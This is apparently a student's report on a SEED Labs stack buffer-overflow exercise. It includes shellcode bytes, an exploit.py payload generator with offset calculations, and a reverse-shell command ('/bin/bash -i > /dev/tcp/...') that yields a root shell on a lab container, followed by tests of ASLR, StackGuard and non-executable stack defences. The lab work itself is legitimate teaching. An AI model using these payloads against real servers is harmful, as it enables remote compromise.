

Lab 2

Part 1

- 1.) Address Space Layout Randomization (ASLR) is a machine-level security mechanism that operates by constantly finding new memory addresses for the heap and stack segments of a program's virtual address space. In the case ASLR (mode 2), both the heap and the stack are subjected to randomization; whereas in the case of partial ASLR (mode 1), only the stack is randomized. This feature helps in enhancing the security of the system by the fact that the memory address where the stack is allocated is not always the same when running the program each and every time thus making it much harder to carry out the buffer overflow attack.

2.)

High Address (0x4000)

Str (arg) : 4 bytes passed by caller
Return Address (Save EIP) : 4 bytes ← strcpy overwrites here
EBP (Saved frame pointer) : 4 bytes ← EBP points here
Ptr (char*, pointer variable) : 4 bytes ← holds heap addresses
Buf (256 bytes) buf[255] Buf[0] : bottom of buffer, lowest address
J (Local Variable) : 4 bytes current ESP

Low Address (toward 0x0000)

Stack grows down

Heap grows up

malloc block

- 3.) After the main function returns, the injected shell code will be executed. When the main function executes its return instruction (ret), the pop operation of the CPU to the corrupted return address and the transfer to the address of the reprogrammed function; the overwriting address is executed when the function is returned to.

4.) The NOP sled is a series of NOP (no-operation instructions) that do not carry out any action when run. The NOP sled allows an attacker to fill the buffer with a long sequence of NOPs, followed by the shellcode. When the program returns, it ends up somewhere in the sled, moves through the NOPs, and eventually reaches the shellcode.

Part 2

- 1.) I disabled ASLR so the memory addresses remain the same each time the program runs. This is important for buffer overflow attacks because it allows me to predict where the buffer and return addresses will be located. Without disabling ASLR, the memory addresses would change every run.

```
[03/04/26]seed@VM:~/.../Labsetup$ cd server-code/
[03/04/26]seed@VM:~/.../server-code$ ls
Makefile  server.c  stack.c
[03/04/26]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack.c
[03/04/26]seed@VM:~/.../server-code$ install make
install: missing destination file operand after 'make'
Try 'install --help' for more information.
[03/04/26]seed@VM:~/.../server-code$ ls
Makefile  server  server.c  stack.c  stack-L1  stack-L2  stack-L3  stack-L4
```

- 2.) I navigated to the server-code directory and ran the make command to compile the vulnerable programs. This created several executable files including server, stack-L1, stack-L2, stack-L3, and stack-L4. These programs will later be used to demonstrate buffer overflow attacks.

```
[03/04/26]seed@VM:~/.../Labsetup$ ls
attack-code  bof-containers  docker-compose.yml  server-code  shellcode
[03/04/26]seed@VM:~/.../Labsetup$ cd server-code/
[03/04/26]seed@VM:~/.../server-code$ ls
Makefile  server  server.c  stack.c  stack-L1  stack-L2  stack-L3  stack-L4
[03/04/26]seed@VM:~/.../server-code$ make install
cp server ../bof-containers
cp stack-* ../bof-containers
[03/04/26]seed@VM:~/.../server-code$ cd ..
[03/04/26]seed@VM:~/.../Labsetup$ ls -l bof-containers | head
total 1456
-rw-rw-r-- 1 seed seed    132 Dec 22  2020 Dockerfile
-rwxrwxr-x 1 seed seed  17880 Mar  4 17:44 server
-rwxrwxr-x 1 seed seed 709296 Mar  4 17:44 stack-L1
-rwxrwxr-x 1 seed seed 709296 Mar  4 17:44 stack-L2
-rwxrwxr-x 1 seed seed  17064 Mar  4 17:44 stack-L3
-rwxrwxr-x 1 seed seed  17064 Mar  4 17:44 stack-L4
[03/04/26]seed@VM:~/.../Labsetup$ █
```

- 3.) I ran docker-compose up to start the vulnerable server containers. Docker created the servers and connected them to the virtual lab network. This allows me to interact with the servers during

the attack.

```
[03/04/26]seed@VM:~/.../Labsetup$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating server-2-10.9.0.6 ... done
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
Creating server-4-10.9.0.8 ... done
Attaching to server-1-10.9.0.5, server-3-10.9.0.7, server-2-10.9.0.6, server-4-10.9.0.8
```

4.) After starting the server containers, the server printed debugging information such as the input size, frame pointer (EBP), and buffer address. These values help me understand how the stack is structured in memory. Knowing these addresses is useful when constructing the exploit.

```
Accessibly tagged seed image for server: latest
[03/04/26]seed@VM:~/.../Labsetup$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating server-2-10.9.0.6 ... done
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
Creating server-4-10.9.0.8 ... done
Attaching to server-1-10.9.0.5, server-3-10.9.0.7, server-2-10.9.0.6, server-4-10.9.0.8
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 0
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd7c8
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd758
server-1-10.9.0.5 | ==== Returned Properly ====
```

5.) I used the command `nc 10.9.0.5 9090` to test the connection to the Level-1 server. I also used `dockps` to verify that all Docker containers were running correctly. This confirms the servers are active and ready for testing.

```
[03/04/26]seed@VM:~/.../Labsetup$ nc 10.9.0.5 9090
^C
[03/04/26]seed@VM:~/.../Labsetup$ dockps
f7e4c1883450  server-4-10.9.0.8
c2bfdb0a840e  server-1-10.9.0.5
9e83e9c4eebb  server-3-10.9.0.7
79ddaf78779c  server-2-10.9.0.6
[03/04/26]seed@VM:~/.../Labsetup$
```

Task 1: Get Familiar with the Shellcode

6.) I navigated to the shellcode directory and generated shellcode using the scripts `shellcode_32.py` and `shellcode_64.py`. Then I compiled `call_shellcode.c` using the `make` command. This produced two executable programs: `a32.out` and `a64.out`.

```

[03/04/26]seed@VM:~/.../Labsetup$ cd shellcode/
[03/04/26]seed@VM:~/.../shellcode$ ls
call_shellcode.c  Makefile  README.md  shellcode_32.py  shellcode_64.py
[03/04/26]seed@VM:~/.../shellcode$ ./shellcode_32.py
[03/04/26]seed@VM:~/.../shellcode$ ./shellcode_64.py
[03/04/26]seed@VM:~/.../shellcode$ ls
call_shellcode.c  codefile_64  README.md  shellcode_64.py
codefile_32      Makefile    shellcode_32.py
[03/04/26]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[03/04/26]seed@VM:~/.../shellcode$ ls
a32.out  call_shellcode.c  codefile_64  README.md  shellcode_64.py
a64.out  codefile_32      Makefile    shellcode_32.py
[03/04/26]seed@VM:~/.../shellcode$ █

```

7.) I executed ./a32.out to run the generated shellcode. The output displayed system information from the container environment. This confirms that the shellcode executed successfully.

```

[03/04/26]seed@VM:~/.../shellcode$ ./a32.out
total 64
-rw-rw-r-- 1 seed seed 160 Dec 22 2020 Makefile
-rw-rw-r-- 1 seed seed 312 Dec 22 2020 README.md
-rwxrwxr-x 1 seed seed 15740 Mar 4 18:26 a32.out
-rwxrwxr-x 1 seed seed 16888 Mar 4 18:26 a64.out
-rw-rw-r-- 1 seed seed 476 Dec 22 2020 call_shellcode.c
-rw-rw-r-- 1 seed seed 136 Mar 4 18:24 codefile_32
-rw-rw-r-- 1 seed seed 165 Mar 4 18:24 codefile_64
-rwxrwxr-x 1 seed seed 1221 Dec 22 2020 shellcode_32.py
-rwxrwxr-x 1 seed seed 1295 Dec 22 2020 shellcode_64.py
Hello 32
dataengine:x:1002:1004:~/home/dataengine:/bin/sh
deployer:x:1003:1005:~/home/deployer:/bin/sh
[03/04/26]seed@VM:~/.../shellcode$ █

```

8.) I edited the shellcode script to change the command it executes. In this case, I modified the code so the shellcode would create a file in the /tmp directory. This demonstrates how shellcode can execute arbitrary commands.

```
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker
# "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd      *"
"echo 'created a virus file'; /bin/touch /tmp/virus          *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

```
content = bytearray(200)
content[0:] = shellcode
```

```
# Save the binary code to file
with open('codefile_32', 'wb') as f:
```

9.) After modifying the shellcode, I ran the program again. The output shows a message indicating that a virus file was created. This confirms that the modified shellcode executed successfully.

```
[03/04/26]seed@VM:~/.../shellcode$ ./a32.out
created a virus file
```

10.) I ran the command `ls /tmp` to check whether the virus file actually exists. The file appears in the directory listing. This verifies that the shellcode successfully created the file.

```
[03/04/26]seed@VM:~/.../shellcode$ ls /tmp/
config-err-SLBgwk
_MEINba6jw
snap-private-tmp
ssh-if4CD0yqR88d
systemd-private-c79053f7d7474841a43ec13020737f59-colord.service-tTNV1i
systemd-private-c79053f7d7474841a43ec13020737f59-ModemManager.service-GGMwag
systemd-private-c79053f7d7474841a43ec13020737f59-switcheroo-control.service-yzSC
Mh
systemd-private-c79053f7d7474841a43ec13020737f59-systemd-logind.service-C08MVi
systemd-private-c79053f7d7474841a43ec13020737f59-systemd-resolved.service-fi2LMh
systemd-private-c79053f7d7474841a43ec13020737f59-systemd-timesyncd.service-6mYq0
g
systemd-private-c79053f7d7474841a43ec13020737f59-upower.service-TkNujf
tracker-extract-files.1000
tracker-extract-files.125
virus
VMwareDnD
```

11.) I edited the shellcode again and changed the command so that it deletes the file /tmp/virus. This demonstrates that shellcode can also remove files from the system. The modification prepares the program for the next test.

You can use this shellcode to run any command you want

```
shellcode = (
    "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
    "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
    "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
    "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # You can modify the following command string to run any command.
    # You can even run multiple commands. When you change the string,
    # make sure that the position of the * at the end doesn't change.
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker
    # "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd      *"
    "echo 'Deleted the virus file'; /bin/rm /tmp/virus          *"
    "AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
    "BBBBBBBB" # Placeholder for argv[1] --> "-c"
    "CCCCCCCC" # Placeholder for argv[2] --> the command string
    "DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

12.) After modifying the command in the shellcode, I prepared to run the program again. The goal was to execute the updated command that deletes the virus file. This step confirms that the shellcode can be modified for different purposes.

```

[03/04/26] seed@VM:~/.../shellcode$ vim shellcode_64.py
[03/04/26] seed@VM:~/.../shellcode$ vim shellcode_64.py
[03/04/26] seed@VM:~/.../shellcode$ ./shellcode_64.py
[03/04/26] seed@VM:~/.../shellcode$ a64.out
Deleted the virus file
[03/04/26] seed@VM:~/.../shellcode$ █

```

13.) I executed the updated program and it printed a message indicating that the virus file was deleted. I then verified that the file was removed from the /tmp directory. This confirms the shellcode executed correctly.

```

[03/04/26] seed@VM:~/.../shellcode$ ls /tmp/
config-err-SLBgwk
_MEINba6jw
snap-private-tmp
ssh-if4CD0yqR88d
systemd-private-c79053f7d7474841a43ec13020737f59-colord.service-tTNV1i
systemd-private-c79053f7d7474841a43ec13020737f59-ModemManager.service-GGMwag
systemd-private-c79053f7d7474841a43ec13020737f59-switcheroo-control.service-yzSC
Mh
systemd-private-c79053f7d7474841a43ec13020737f59-systemd-logind.service-C08MVi
systemd-private-c79053f7d7474841a43ec13020737f59-systemd-resolved.service-fi2LMh
systemd-private-c79053f7d7474841a43ec13020737f59-systemd-timesyncd.service-6mYq0
g
systemd-private-c79053f7d7474841a43ec13020737f59-upower.service-TkNujf
tracker-extract-files.1000
tracker-extract-files.125
VMwareDnD
[03/04/26] seed@VM:~/.../shellcode$ █

```

Task 2: Level-1 Attack

14.) I began testing the Level-1 server by sending simple input using echo hello | nc 10.9.0.5 9090. This allowed me to see how the server handles incoming data. It also confirms that the connection to the server works.

```

[03/04/26] seed@VM:~/.../shellcode$ echo hello | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM:~/.../shellcode$ █

```

15.) The server printed debugging information including the input size, frame pointer, and buffer address. These memory values are important when calculating where to place the exploit. The program returned normally because the input was harmless.

```

server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd7c8
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd758
server-1-10.9.0.5 | ==== Returned Properly ====

```

16.) I created a file called hello.txt and sent it to the server using nc. This allowed me to test how the server processes file input instead of simple text. It helps confirm how data is passed to the vulnerable program.

```

[03/04/26] seed@VM:~/.../attack-code$ touch hello.txt
[03/04/26] seed@VM:~/.../attack-code$ echo hello.txt | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM:~/.../attack-code$ cat hello.txt | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM:~/.../attack-code$ █

```

17.) The server output again displayed stack information such as memory addresses and input size. This shows that the server processed the file input successfully. It also provides more information about the stack layout.

```

server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 10
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd7c8
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd758
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 0
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd7c8
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd758
server-1-10.9.0.5 | ==== Returned Properly ====

```

18.) I moved into the attack-code directory and listed the available files. I then created a file named badfile. This file will store the malicious payload used for the buffer overflow attack.

```
[03/04/26]seed@VM:~/.../attack-code$ ls
brute-force.sh  exploit.py  hello.txt
[03/04/26]seed@VM:~/.../attack-code$ touch badfile
[03/04/26]seed@VM:~/.../attack-code$ ls
badfile  brute-force.sh  exploit.py  hello.txt
[03/04/26]seed@VM:~/.../attack-code$
```

19.) This screenshot shows the exploit.py script used to generate the attack payload. The script inserts shellcode into the buffer and fills the rest with NOP instructions. This structure helps guide execution toward the shellcode during the overflow.

```
1#!/usr/bin/python3
2import sys
3
4shellcode = (
5    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
6    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
7    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
8    "/bin/bash*"
9    "-c*"
10   # You can modify the following command string to run any command.
11   # You can even run multiple commands. When you change the string,
12   # make sure that the position of the * at the end doesn't change.
13   # The code above will change the byte at this position to zero,
14   # so the command string ends here.
15   # You can delete/add spaces, if needed, to keep the position the same.
16   # The * in this line serves as the position marker
17   # "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd      *"
18   "echo 'created a virus file'; /bin/touch /tmp/virus          *"
19   "AAAA" # Placeholder for argv[0] --> "/bin/bash"
20   "BBBB" # Placeholder for argv[1] --> "-c"
21   "CCCC" # Placeholder for argv[2] --> the command string
22   "DDDD" # Placeholder for argv[3] --> NULL
23).encode('latin-1')
24
25# Fill the content with NOP's
26content = bytearray(0x90 for i in range(517))
27
28#####
29# Put the shellcode somewhere in the payload
30start = 0 # Change this number
31content[start:start + len(shellcode)] = shellcode
32~
```

20.) The server printed the frame pointer and buffer address again after receiving input. These addresses help determine the correct return address for the exploit. Knowing these values is necessary for a successful buffer overflow.

```
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd7c8
server-1-10.9.0.5 | Buffer's address inside bof():    0xffffd758
server-1-10.9.0.5 | ==== Returned Properly ====
```

21.) I ran the exploit.py script to generate the malicious payload and wrote it into badfile. Then I sent the payload to the server using cat badfile | nc. This attempts to trigger the buffer overflow

vulnerability.

```
[03/04/26] seed@VM:~/.../attack-code$ ./exploit.py
[03/04/26] seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
[03/04/26] seed@VM:~/.../attack-code$ █
```

22.) I edited the exploit script to adjust where the shellcode is placed in the payload. I also modified the return address value used in the attack. These changes increase the chances of successfully redirecting execution.

```
33 # Put the shellcode somewhere in the payload
34 start = 517 - len(shellcode) # Change this number
35 content[start:start + len(shellcode)] = shellcode
36
37 # Decide the return address value
38 # and put it somewhere in the payload
39 ret = 0xffffd7c8 + 10 # Change this number
40 offset = 112 + 4 # Change this number
41
```

23.) After updating the exploit script, I ran it again to generate a new payload. I then sent the new payload to the server. This attempts to execute the shellcode through the buffer overflow.

```
[03/04/26] seed@VM:~/.../attack-code$ ./exploit.py
[03/04/26] seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
[03/04/26] seed@VM:~/.../attack-code$ █
```

24.) I used dockps to identify the running container and docksh to access it. Inside the container, I checked the /tmp directory. The virus file appeared, confirming that the exploit successfully executed the shellcode.

```
[03/04/26] seed@VM:~/.../Labsetup$ dockps
f7e4c1883450  server-4-10.9.0.8
c2bfdb0a840e  server-1-10.9.0.5
9e83e9c4eebb  server-3-10.9.0.7
79ddaf78779c  server-2-10.9.0.6
[03/04/26] seed@VM:~/.../Labsetup$ docksh c2bfdb0a840e
root@c2bfdb0a840e:/bof# ls /tmp/
root@c2bfdb0a840e:/bof# ls /tmp/
virus
root@c2bfdb0a840e:/bof# █
```

25.) This section shows the shellcode command used in the exploit. The command creates a virus file in the /tmp directory. It demonstrates that the attacker can run arbitrary commands on the server.

```
"echo 'created a virus file'; /bin/touch /tmp/virus" *
"/bin/bash-i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1" *
"AAAA" # Placeholder for argv[0] --> "/bin/bash"|
```

26.) I checked my system's IP address using hostname -I. This information is useful when configuring reverse shell connections. It allows the exploited server to connect back to the attacker.

```
[03/04/26] seed@VM:~/.../attack-code$ hostname -I
10.0.2.15 172.17.0.1 10.9.0.1 fd17:625c:f037:2:ae02:f2e5:b057:ff17 fd17:625c:f03
7:2:dc26:9ee7:a620:5910
```

27.) I ran the exploit script again and sent the payload to the server. This repeats the attack process to confirm that the exploit works consistently.

```
[03/04/26] seed@VM:~/.../attack-code$ ./exploit.py
[03/04/26] seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
█
```

28.) I started a listener using nc -nv -l 9090 to wait for a connection from the exploited server. This listener allows me to receive a reverse shell. It prepares my system to interact with the compromised container.

```
[03/04/26] seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 33954
root@c2bfdb0a840e:/bof# █
```

29.) After the exploit was executed, the reverse shell connected to my listener. I gained access to the container's command line. This demonstrates that the attack successfully compromised the server.

```
root@c2bfdb0a840e:/bof# ls
ls
server
stack
root@c2bfdb0a840e:/bof# ps
ps
```

PID	TTY	TIME	CMD
1	pts/0	00:00:00	sh
7	pts/0	00:00:00	server
33	pts/0	00:00:00	bash
34	pts/0	00:00:00	bash
37	pts/0	00:00:00	ps

```
root@c2bfdb0a840e:/bof#
```

Task 6: Experimenting with the Address Randomization

Before we start, make sure your server is running.

30.) I enabled Address Space Layout Randomization using `sudo sysctl -w kernel.randomize_va_space=2`. This security feature randomizes memory addresses each time a program runs. It makes buffer overflow attacks harder.

```
[03/04/26] seed@VM:~/.../Labsetup$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[03/04/26] seed@VM:~/.../Labsetup$
```

31.) I sent a message to the server again to observe how the addresses changed. The server processed the request normally. This step begins testing the effect of ASLR.

Message 1:

```
[03/04/26] seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM:~/.../Labsetup$
```

32.) The server printed the frame pointer and buffer address values. These addresses were different from previous runs. This confirms that ASLR is changing memory locations.

Output 1:

33.) I sent another message to the server using the same command. This helps verify that the addresses change each time the program runs.

Message 2:

```
[03/04/26] seed@VM: ~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM: ~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM: ~/.../Labsetup$ █
```

34.) The output again shows different memory addresses. This demonstrates how ASLR randomizes stack locations to prevent predictable attacks.

Output 2:

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffff50248
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffff501d8
server-1-10.9.0.5 | ==== Returned Properly ====
█
```

35.) I sent a third message to the server to continue testing ASLR behavior. Each request provides new memory address values.

Message 3:

```
[03/04/26] seed@VM: ~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM: ~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM: ~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
[03/04/26] seed@VM: ~/.../Labsetup$ █
```

36.) The server output again shows different stack addresses. This confirms that address randomization is working correctly.

In this screenshot, I sent multiple requests to the server using `echo hello | nc 10.9.0.5 9090`. The server output shows that the frame pointer (EBP) and buffer address change every time the program runs. This happens because Address Space Layout Randomization (ASLR) randomizes memory locations each execution. Because the attacker cannot predict the exact memory address

of the buffer, it becomes much harder to correctly overwrite the return address, which makes buffer overflow attacks significantly more difficult.

Output 3:

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffe64af8
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffe64a88
server-1-10.9.0.5 | ==== Returned Properly ====
```

Level 3 Server

37.)

I sent several messages to the Level-3 server. This allowed me to observe its behavior under the same testing conditions.

Messages:

```
[03/04/26] seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.7 9090
^C
[03/04/26] seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.7 9090
^C
[03/04/26] seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.7 9090
^C
[03/04/26] seed@VM:~/.../Labsetup$
```

38.) The server output displayed different stack addresses for each request. This further demonstrates the effect of address randomization.

Output:

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007ffcfe40e0d0
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007ffcfe40e000
server-3-10.9.0.7 | ==== Returned Properly ====
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007ffe02159680
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007ffe021595b0
server-3-10.9.0.7 | ==== Returned Properly ====
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fff7c254020
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fff7c253f50
server-3-10.9.0.7 | ==== Returned Properly ====
```

Task 7: Experimenting with Other Countermeasures

a.

Turn on the StackGuard protection

39.) The server output displayed different stack addresses for each request. This further demonstrates the effect of address randomization.

```
FLAGS      = -z execstack
FLAGS_32   = -static -m32
TARGET     = server stack-L1 stack-L2 stack-L3 stack-L4
```

40.) I recompiled the programs after modifying the Makefile. This ensures the new protection mechanism is included in the executable.

```
[03/04/26]seed@VM:~/.../server-code$ ls
Makefile  server  server.c  stack.c  stack-L1  stack-L2  stack-L3  stack-L4
[03/04/26]seed@VM:~/.../server-code$ vim Makefile
[03/04/26]seed@VM:~/.../server-code$ ls
Makefile  server  server.c  stack.c  stack-L1  stack-L2  stack-L3  stack-L4
[03/04/26]seed@VM:~/.../server-code$ cp ../attack-code/badfile
cp: missing destination file operand after '../attack-code/badfile'
Try 'cp --help' for more information.
[03/04/26]seed@VM:~/.../server-code$ cp ../attack-code/badfile .
[03/04/26]seed@VM:~/.../server-code$ ls
badfile  server  stack.c  stack-L2  stack-L4
Makefile  server.c  stack-L1  stack-L3
[03/04/26]seed@VM:~/.../server-code$ █
```

41.) When I ran `./stack-L1 < badfile`, the program detected stack smashing. The program terminated immediately, showing that StackGuard successfully prevented the attack.

```
[03/04/26]seed@VM:~/.../server-code$ ./stack-L1 < badfile
Input size: 517
Frame Pointer (ebp) inside bof(): 0xff9d5f08
Buffer's address inside bof(): 0xff9d5e98
*** stack smashing detected ***: terminated
Aborted
[03/04/26]seed@VM:~/.../server-code$ █
```

b.

Turn on the Non-executable stack protection

42.) I returned to the shellcode directory to modify the Makefile again. This time I focused on enabling non-executable stack protection.

```
[03/04/26]seed@VM:~/.../shellcode$ ls
a32.out  call_shellcode.c  codefile_64  README.md  shellcode_64.py
a64.out  codefile_32       Makefile     shellcode_32.py
[03/04/26]seed@VM:~/.../shellcode$ █
```

43.) The original Makefile allowed stack execution using the `-z execstack` option. This setting allows shellcode stored on the stack to run.

```
all:
    gcc -m32 -z execstack -o a32.out call_shellcode.c
    gcc -z execstack -o a64.out call_shellcode.c

clean:
    rm -f a32.out a64.out codefile_32 codefile_64
```

44.) I modified the Makefile to use `-z noexecstack`. This prevents programs from executing code stored on the stack.

```
all:
    gcc -m32 -z noexecstack -o a32.out call_shellcode.c
    gcc -z noexecstack -o a64.out call_shellcode.c

clean:
    rm -f a32.out a64.out codefile_32 codefile_64
```

45.) I recompiled the programs with the new security configuration. The new executables now use the non-executable stack protection.

```
[03/04/26] seed@VM:~/.../shellcode$ make
gcc -m32 -z noexecstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[03/04/26] seed@VM:~/.../shellcode$ ls
a32.out  call_shellcode.c  codefile_64  README.md  shellcode_64.py
a64.out  codefile_32       Makefile     shellcode_32.py
[03/04/26] seed@VM:~/.../shellcode$
```

46.) When I ran `./a32.out` and `./a64.out`, both programs produced a Segmentation fault. This happened because the shellcode tried to execute on the stack, which is now blocked by the operating system.

```
[03/04/26] seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[03/04/26] seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
```

c 9abc

2/10/26

△ $ebp = 0xffffffffd7c8$

△ $buffer = 0xffffffffd758$

△ High Address

△ $0xffffffffd7cc$

Return Address (Saved EIP)

← over written with $0xffffffffd7d2$

△ $0xffffffffd7c8$

Saved EBP = $0xffffffffd7c8$

← ebp points here

Nop sled $0x90$

← ret lands somewhere here
and slides to shellcode

△ $0xffffffffd758$

Shellcode

$/bin/bash -i > /dev/tcp/...$

← placed at the end
of payload

$b[0] = \text{start of buffer}$

△ Low Address

△ $\bullet offset = 116 \quad (ebp - buffer) + 4 = (0xffffffffd7c8 - 0xffffffffd758) + 4 = 112 + 4 = 116$

△ $\bullet ret = 0xffffffffd7d2$

△ $ebp + 0 = 0xffffffffd7c8 + 0 = 0xffffffffd7c8$

